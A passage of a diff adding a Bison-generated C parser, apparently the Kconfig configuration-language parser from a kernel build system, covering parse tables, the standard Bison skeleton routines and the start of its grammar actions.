162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, -90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if 